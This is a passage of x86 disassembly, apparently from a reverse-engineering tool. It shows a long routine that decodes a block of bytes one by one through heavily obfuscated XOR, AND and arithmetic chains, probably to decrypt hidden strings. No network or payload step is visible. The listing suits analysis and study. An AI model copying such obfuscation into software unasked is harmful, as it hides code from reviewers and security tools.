mov ah, dl
and ah, 0x66
xor ah, 0xff
xor dl, 0xff
or dl, 0x99
and ah, dl
xor ah, 0xff
shl ah, 1
sub ah, 0x66
sub al, ah
mov byte [0x47b362], al
mov al, byte [0x47b163]
xor al, 4
mov byte [0x47b363], al
mov al, byte [0x47b164]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov ah, dl
and ah, 0x98
xor ah, 0xff
xor dl, 0xff
or dl, 0x67
xor ah, 0xff
xor dl, 0xff
or ah, dl
and al, 0x67
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
and al, al
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47b364], cl
mov al, byte [0x47b165]
mov cl, al
xor cl, 0xb
xor cl, 0xff
and cl, 0xb
shl cl, 1
sub cl, 0xb
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xb
shl dl, 1
add dl, 0xf4
add dl, 1
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x47b365], al
mov al, byte [0x47b166]
xor al, 0x39
mov byte [str._9x_], al
mov al, byte [0x47b167]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x74
xor cl, 0xff
xor al, 0xff
and al, 0x74
or cl, al
xor cl, 0xff
mov byte [0x47b367], cl
mov al, byte [0x47b168]
xor al, 0xa0
mov byte [0x47b368], al
mov cl, byte [0x47b169]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x7a
xor al, 0xff
xor cl, 0xff
and cl, 0x7a
or al, cl
xor al, 0xff
mov byte [0x47b369], al
mov al, byte [0x47b16a]
mov cl, al
xor cl, 0xff
and cl, 0xbc
and al, 0x43
or cl, al
mov byte [0x47b36a], cl
mov al, byte [0x47b16b]
mov cl, al
and cl, 0x33
shl cl, 1
add al, 0x33
sub al, cl
mov byte [0x47b36b], al
mov al, byte [0x47b16c]
mov cl, al
and cl, 0x69
shl cl, 1
add al, 0x69
sub al, cl
mov byte [0x47b36c], al
mov al, byte [0x47b16d]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
and cl, 0x2a
mov ah, al
and ah, 0xd5
or cl, ah
xor cl, 0xd5
and dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0x51
xor dl, 0xff
and dl, 0x51
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov ah, al
xor ah, 0xff
xor al, 0xff
or ah, al
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
and ah, 0xae
mov al, ah
xor al, 0xff
mov cl, dl
and cl, al
mov al, dl
xor al, ah
add dl, al
sub dl, cl
xor dl, 0xff
mov byte [0x47b36d], dl
mov al, byte [0x47b16e]
xor al, 0xd
mov byte [0x47b36e], al
mov al, byte [0x47b16f]
mov cl, al
xor cl, 0xff
and cl, 0x4a
and al, 0xb5
or cl, al
mov byte [0x47b36f], cl
mov al, byte [0x47b170]
mov dl, al
xor dl, 0xff
and dl, 0xe4
mov cl, al
and cl, 0x1b
or dl, cl
xor dl, 0x1b
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, cl
xor ah, 0xff
or dl, cl
and dl, ah
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
and ah, 0x59
or al, 0x59
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x47b370], ah
mov al, byte [0x47b171]
xor al, 0xfe
mov byte [0x47b371], al
mov al, byte [0x47b172]
xor al, 0xc7
mov byte [0x47b372], al
mov al, byte [0x47b173]
xor al, 0x1d
mov byte [0x47b373], al
mov al, byte [0x47b174]
mov cl, al
and cl, 0x2f
shl cl, 1
add al, 0x2f
sub al, cl
mov byte [0x47b374], al
mov al, byte [0x47b175]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0xb9
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or al, 0x46
xor al, 0xff
mov ah, dl
or ah, al
xor ah, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
xor ah, 0xff
xor dl, 0xff
and ah, dl
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov byte [0x47b375], ah
mov al, byte [0x47b176]
xor al, 0xa5
mov byte [0x47b376], al
mov al, byte [0x47b177]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0x32
and al, 0x32
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xe6
and dl, 0x19
or cl, dl
xor cl, 0x19
xor al, 0xff
or cl, al
mov byte [0x47b377], cl
mov al, byte [0x47b178]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 9
and al, 0xf6
or cl, al
mov byte [0x47b378], cl
mov al, byte [0x47b179]
xor al, 0x42
mov byte [0x47b379], al
mov al, byte [0x47b17a]
mov cl, al
and cl, 0x89
shl cl, 1
add al, 0x89
sub al, cl
mov byte [0x47b37a], al
mov al, byte [0x47b17b]
xor al, 0xf2
mov byte [0x47b37b], al
mov al, byte [0x47b17c]
xor al, 0xb2
mov byte [0x47b37c], al
mov bl, byte [0x47b17d]
mov dl, bl
and dl, 0xfd
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0xfd
shl cl, 1
xor bl, 0xfd
add bl, cl
sub bl, al
mov byte [0x47b37d], bl
mov al, byte [0x47b17e]
mov dl, al
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, dl
xor cl, ah
xor cl, 0xff
or dl, ah
and dl, cl
or dl, 0x35
xor dl, 0xff
mov cl, al
and cl, 0xca
xor cl, 0xff
add al, 0xca
add al, 1
add al, cl
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov ah, dh
and ah, 0xc4
and dl, 0x3b
mov cl, bl
and cl, 0xc4
and al, 0x3b
or ah, dl
or cl, al
xor ah, cl
or dh, bl
xor dh, 0xff
and dh, 0xff
or ah, dh
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x47b37e], al
mov al, byte [0x47b17f]
xor al, 0x3b
mov byte [0x47b37f], al
mov al, byte [0x47b180]
mov cl, al
and cl, 0xec
shl cl, 1
add al, 0xec
sub al, cl
mov byte [0x47b380], al
mov al, byte [0x47b181]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x6a
and al, 0x95
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
xor dl, 0xcc
mov byte [0x47b381], dl
mov al, byte [0x47b182]
mov cl, al
and cl, 0xa6
shl cl, 1
add al, 0xa6
sub al, cl
mov byte [0x47b382], al
mov al, byte [0x47b183]
xor al, 0xce
mov byte [0x47b383], al
mov al, byte [0x47b184]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xcf
and al, 0xcf
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b384], dl
mov al, byte [0x47b185]
mov cl, al
and cl, 0xb2
shl cl, 1
mov dl, al
and dl, 0xb2
shl dl, 1
xor al, 0xb2
add al, dl
sub al, cl
mov byte [0x47b385], al
mov al, byte [0x47b186]
mov cl, al
xor cl, 0xff
and cl, 0xbe
and al, 0x41
or cl, al
xor cl, 0x13
mov byte [0x47b386], cl
mov al, byte [0x47b187]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0x14
xor dl, 0xff
or cl, 0x14
and cl, dl
and al, 0xeb
or cl, al
mov byte [0x47b387], cl
mov dl, byte [0x47b188]
mov cl, dl
xor cl, 0xff
or cl, 0xcc
add cl, 0x34
and dl, 0xcc
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0x43
xor cl, 0xff
and cl, 0x43
shl cl, 1
sub cl, 0x43
sub al, cl
mov byte [0x47b388], al
mov al, byte [0x47b189]
mov cl, al
xor cl, 0xff
mov dl, cl
and dl, 0x2d
xor dl, 0xff
and cl, 0x2d
xor cl, 0xff
and dl, cl
xor dl, 0xff
and al, 0xd2
or dl, al
mov byte [0x47b389], dl
mov al, byte [0x47b18a]
xor al, 0xac
mov byte [0x47b38a], al
mov al, byte [0x47b18b]
mov dl, al
xor dl, 0xff
and dl, 0x73
mov cl, al
and cl, 0x8c
or dl, cl
xor dl, 0x8c
xor dl, 0xff
xor dl, 0xeb
and dl, 0xeb
and al, 0x14
or dl, al
mov byte [0x47b38b], dl
mov al, byte [0x47b18c]
mov cl, al
xor cl, 0xff
and cl, 0x4f
and al, 0xb0
or cl, al
xor cl, 0x4b
mov byte [0x47b38c], cl
mov al, byte [0x47b18d]
mov cl, al
xor cl, 0xff
and cl, 0x9d
and al, 0x62
or cl, al
xor cl, 0xe2
mov byte [0x47b38d], cl
mov al, byte [0x47b18e]
xor al, 0xb8
mov byte [0x47b38e], al
mov al, byte [0x47b18f]
xor al, 0xa2
mov byte [str.ysO], al
mov al, byte [0x47b190]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x36
xor al, 0xff
and al, 0xc9
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b390], dl
mov al, byte [0x47b191]
xor al, 9
mov byte [0x47b391], al
mov al, byte [0x47b192]
xor al, 0x26
mov byte [0x47b392], al
mov al, byte [0x47b193]
xor al, 0xf0
mov byte [0x47b393], al
mov al, byte [0x47b194]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x77
xor cl, 0xff
and al, 0x77
or cl, al
mov byte [0x47b394], cl
mov al, byte [0x47b195]
xor al, 0x2d
mov byte [0x47b395], al
mov dl, byte [0x47b196]
mov dh, dl
xor dh, 0xff
and dh, 0x94
mov al, dl
add al, 1
xor dl, 0xff
or dl, 0x6b
add dl, al
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov al, ah
and al, 0x52
and dh, 0xad
mov cl, bl
and cl, 0x52
and dl, 0xad
or al, dh
or cl, dl
xor al, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or al, ah
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xdb
xor dl, 0xff
xor al, 0xff
and al, 0xdb
or dl, al
xor dl, 0xff
mov byte [0x47b396], dl
mov al, byte [0x47b197]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x64
and al, 0x9b
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor dl, 0xff
xor al, 0xff
and dl, al
or ah, dl
xor ah, 0xff
xor ah, 0x89
mov byte [0x47b397], ah
mov al, byte [0x47b198]
mov cl, al
and cl, 0x72
shl cl, 1
add al, 0x72
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x47b398], al
mov al, byte [0x47b199]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x82
xor al, 0xff
or al, 0x7d
and cl, al
xor cl, 0xff
mov byte [0x47b399], cl
mov al, byte [0x47b19a]
xor al, 0x96
mov byte [0x47b39a], al
mov al, byte [0x47b19b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xe6
xor dl, 0xff
or dl, 0xe6
and cl, dl
xor cl, 0xff
and al, 0xe6
or cl, al
mov byte [0x47b39b], cl
mov al, byte [0x47b19c]
xor al, 0x4f
mov byte [0x47b39c], al
mov al, byte [0x47b19d]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xfe
mov cl, al
xor cl, 0xff
and cl, 1
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xfe
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xfe
and dl, 1
sub dl, cl
sub al, dl
mov byte [0x47b39d], al
mov al, byte [0x47b19e]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x44
xor dl, 0xff
and al, 0xbb
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [str._y_f], dl
mov al, byte [0x47b19f]
xor al, 0x22
mov byte [0x47b39f], al
mov al, byte [0x47b1a0]
xor al, 0xb4
mov byte [0x47b3a0], al
mov bl, byte [0x47b1a1]
mov al, bl
and al, 9
shl al, 1
mov cl, bl
add cl, 9
sub cl, al
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 9
and dl, 9
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 9
sub bl, al
mov byte [0x47b3a1], bl
mov al, byte [0x47b1a2]
mov cl, al
and cl, 0xb
shl cl, 1
add al, 0xb
sub al, cl
mov byte [0x47b3a2], al
mov dl, byte [0x47b1a3]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x97
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x97
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x14
and al, 0xeb
or cl, al
mov byte [0x47b3a3], cl
mov cl, byte [0x47b1a4]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0x45
xor al, 0xff
and al, 0xff
and cl, 0x45
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dl
xor al, 0xff
and al, 0xb2
and dl, 0x4d
or al, dl
xor al, 0x75
mov byte [0x47b3a4], al
mov al, byte [0x47b1a5]
mov cl, al
and cl, 0x2b
shl cl, 1
mov dl, al
add dl, 0x2b
sub dl, cl
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, 0x2b
shl dl, 1
mov cl, dl
xor cl, 0x2b
and dl, 0xd4
shl dl, 1
sub dl, cl
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x47b3a5], al
mov al, byte [0x47b1a6]
mov cl, al
xor cl, 0x6e
xor cl, 0xff
and cl, 0x6e
shl cl, 1
sub cl, 0x6e
sub al, cl
mov byte [0x47b3a6], al
mov al, byte [0x47b1a7]
xor al, 0xd0
mov byte [0x47b3a7], al
mov al, byte [0x47b1a8]
mov cl, al
xor cl, 0xff
and cl, 0x8a
and al, 0x75
or cl, al
xor cl, 0xf2
mov byte [0x47b3a8], cl
mov al, byte [0x47b1a9]
mov cl, al
xor cl, 0xb5
xor cl, 0xff
and cl, 0xb5
shl cl, 1
sub cl, 0xb5
sub al, cl
mov byte [0x47b3a9], al
mov al, byte [0x47b1aa]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xb
and al, 0xb
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47b3aa], cl
mov al, byte [0x47b1ab]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xe6
and cl, 0xe6
and al, 0x19
or cl, al
xor cl, 0x49
mov byte [0x47b3ab], cl
mov al, byte [0x47b1ac]
xor al, 0x40
mov byte [0x47b3ac], al
mov al, byte [0x47b1ad]
xor al, 0xf9
mov byte [0x47b3ad], al
mov bl, byte [0x47b1ae]
mov al, bl
xor al, 0x64
xor al, 0xff
and al, 0x64
shl al, 1
sub al, 0x64
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0x64
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x64
add bl, 0xc3
sub bl, al
sub bl, 0xc3
mov byte [0x47b3ae], bl
mov al, byte [0x47b1af]
xor al, 0x70
mov byte [0x47b3af], al
mov dl, byte [0x47b1b0]
mov al, dl
xor al, 0xff
mov ah, dl
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, ah
xor cl, 0xff
mov ch, al
and ch, cl
mov cl, al
xor cl, ah
add al, cl
sub al, ch
and al, 0x4c
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
xor dl, 0xff
or dl, 0x4c
and al, dl
xor al, 0xff
mov byte [0x47b3b0], al
mov al, byte [0x47b1b1]
xor al, 0x5c
mov byte [0x47b3b1], al
mov cl, byte [0x47b1b2]
mov al, cl
xor al, 0xff
and al, 0xef
and cl, 0x10
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x47b3b2], al
mov al, byte [0x47b1b3]
mov cl, al
xor cl, 0xff
and cl, 0x17
and al, 0xe8
or cl, al
mov byte [0x47b3b3], cl
mov dl, byte [0x47b1b4]
mov al, dl
xor al, 0xff
and al, 0xec
mov cl, dl
and cl, 0x13
or al, cl
xor al, 0x13
mov cl, dl
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0x5b
xor cl, 0xff
or al, 0x5b
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
or dl, 0x5b
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov byte [0x47b3b4], al
mov cl, byte [0x47b1b5]
mov al, cl
xor al, 0xff
and al, 0x54
mov dl, cl
xor dl, 0xff
or dl, 0x54
xor cl, 0xff
or cl, 0x54
and dl, cl
xor dl, 0xff
or al, dl
mov byte [0x47b3b5], al
mov al, byte [str.t_L]
xor al, 0xc6
mov byte [0x47b3b6], al
mov bl, byte [0x47b1b7]
mov dl, bl
and dl, 0xe5
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xe5
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47b3b7], bl
mov al, byte [0x47b1b8]
mov cl, al
xor cl, 0xff
and cl, 0x48
and al, 0xb7
or cl, al
mov byte [0x47b3b8], cl
mov al, byte [0x47b1b9]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x8e
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x8e
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x47b3b9], ah
mov al, byte [0x47b1ba]
xor al, 0x1c
mov byte [0x47b3ba], al
mov al, byte [0x47b1bb]
mov ah, al
and ah, ah
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x7b
or ah, 0x84
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0x7b
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b3bb], dl
mov al, byte [0x47b1bc]
xor al, 0x19
mov byte [0x47b3bc], al
mov al, byte [0x47b1bd]
xor al, 0x10
mov byte [0x47b3bd], al
mov al, byte [0x47b1be]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x99
xor al, 0xff
or al, 0x66
and cl, al
xor cl, 0xff
mov byte [0x47b3be], cl
mov al, byte [0x47b1bf]
mov cl, al
and cl, 0xa0
shl cl, 1
add al, 0xa0
sub al, cl
mov byte [0x47b3bf], al
mov al, byte [0x47b1c0]
mov cl, al
and cl, 0x22
shl cl, 1
sub al, 0xde
sub al, cl
mov byte [0x47b3c0], al
mov al, byte [0x47b1c1]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xf3
xor dl, 0xff
or cl, 0xf3
and cl, dl
and al, 0xc
or cl, al
mov byte [0x47b3c1], cl
mov al, byte [0x47b1c2]
xor al, 0x93
mov byte [0x47b3c2], al
mov al, byte [0x47b1c3]
mov cl, al
xor cl, 0xff
and cl, 0x16
and al, 0xe9
or cl, al
xor cl, 0x31
mov byte [0x47b3c3], cl
mov bl, byte [0x47b1c4]
mov dl, bl
xor dl, 0xff
and dl, 0x98
mov al, bl
and al, 0x67
or dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0x98
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x98
sub bl, 0xb4
sub bl, al
add bl, 0xb4
mov byte [0x47b3c4], bl
mov al, byte [0x47b1c5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xc5
or al, 0xc5
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x47b3c5], dl
mov al, byte [0x47b1c6]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x94
xor cl, 0xff
and al, 0x6b
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47b3c6], cl
mov al, byte [0x47b1c7]
mov cl, al
and cl, 0x13
shl cl, 1
add al, 0x13
sub al, cl
mov byte [0x47b3c7], al
mov al, byte [0x47b1c8]
xor al, 7
mov byte [0x47b3c8], al
mov dl, byte [0x47b1c9]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov cl, al
xor cl, 0xf8
xor cl, 0xff
or al, 0xf8
and al, cl
and dl, 7
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x47b3c9], al
mov al, byte [0x47b1ca]
xor al, 0x9d
mov byte [0x47b3ca], al
mov dl, byte [0x47b1cb]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
and al, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0xd7
or dl, 0xd7
xor dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0xff
mov byte [0x47b3cb], al
mov dl, byte [0x47b1cc]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
or al, ah
xor al, 0xff
or al, 0xf2
xor dl, 0xff
or dl, 0xd
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47b3cc], al
mov al, byte [0x47b1cd]
mov cl, al
xor cl, 0xff
or cl, 0x51
add cl, 0xaf
mov dl, al
xor dl, 0xae
and dl, al
or cl, dl
xor cl, 0x3a
mov byte [0x47b3cd], cl
mov cl, byte [0x47b1ce]
mov dl, cl
xor dl, 0xff
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xfe
and cl, 1
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0xf
and al, 0xf0
or cl, al
mov byte [0x47b3ce], cl
mov al, byte [0x47b1cf]
mov cl, al
xor cl, 0x77
xor cl, 0xff
and cl, 0x77
shl cl, 1
add cl, 0x89
sub al, cl
mov byte [0x47b3cf], al
mov al, byte [0x47b1d0]
mov cl, al
xor cl, 0xff
or cl, 0x8b
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0x74
add al, 0x3a
sub al, cl
sub al, 0x3a
mov byte [0x47b3d0], al
mov al, byte [0x47b1d1]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x6e
and cl, 0x91
or dl, cl
xor dl, 0xef
or ah, 0x7e
xor ah, 0xff
and ah, 0xff
or dl, ah
mov ah, dl
xor ah, 0xff
and ah, 0x28
and dl, 0xd7
or ah, dl
xor ah, 0xd7
or al, 0x7e
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x47b3d1], ah
mov al, byte [0x47b1d2]
mov cl, al
and cl, 0xb6
shl cl, 1
sub al, 0x17
add al, 0xb6
add al, 0x17
sub al, 0x63
sub al, cl
add al, 0x63
mov byte [0x47b3d2], al
mov al, byte [0x47b1d3]
xor al, 0x58
mov byte [0x47b3d3], al
mov al, byte [0x47b1d4]
xor al, 0x70
mov byte [0x47b3d4], al
mov al, byte [0x47b1d5]
mov cl, al
and cl, 0xdd
shl cl, 1
add al, 0xdd
sub al, cl
mov byte [0x47b3d5], al
mov dl, byte [0x47b1d6]
mov al, dl
xor al, 0xff
and al, 3
mov cl, dl
and cl, 0xfc
or al, cl
xor al, 0xfc
mov cl, al
xor cl, 0xa0
xor cl, 0xff
or al, 0xa0
and al, cl
and dl, 0x5f
or al, dl
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x1b
xor al, 0xff
and al, 0xe4
or cl, al
xor cl, 0xff
mov byte [0x47b3d6], cl
mov al, byte [0x47b1d7]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x89
mov cl, al
or cl, 0x89
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x89
shl dl, 1
sub dl, 0x89
sub al, dl
mov byte [0x47b3d7], al
mov al, byte [0x47b1d8]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x7c
xor dl, 0xff
xor al, 0xff
or al, 0x7c
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b3d8], dl
mov al, byte [0x47b1d9]
mov cl, al
xor cl, 0xe5
xor cl, 0xff
and cl, 0xe5
shl cl, 1
sub cl, 0xe5
sub al, cl
mov byte [0x47b3d9], al
mov cl, byte [0x47b1da]
mov al, cl
xor al, 0xff
and al, 0x20
mov dl, cl
and dl, 0xdf
xor dl, 0xff
xor cl, 0xff
or cl, 0x20
and dl, cl
xor dl, 0xff
or al, dl
xor al, 0x63
mov byte [0x47b3da], al
mov al, byte [0x47b1db]
xor al, 0x29
mov byte [0x47b3db], al
mov al, byte [0x47b1dc]
xor al, 0xac
mov byte [0x47b3dc], al
mov bl, byte [0x47b1dd]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x95
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x95
sub bl, al
mov byte [0x47b3dd], bl
mov al, byte [0x47b1de]
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov byte [0x47b3de], al
mov al, byte [0x47b1df]
xor al, 0x38
mov byte [0x47b3df], al
mov al, byte [0x47b1e0]
xor al, 0xfa
mov byte [0x47b3e0], al
mov dl, byte [0x47b1e1]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xb3
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x4c
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0xff
mov byte [0x47b3e1], al
mov bl, byte [0x47b1e2]
mov dl, bl
xor dl, 0xff
or dl, 0x1e
xor dl, 0xff
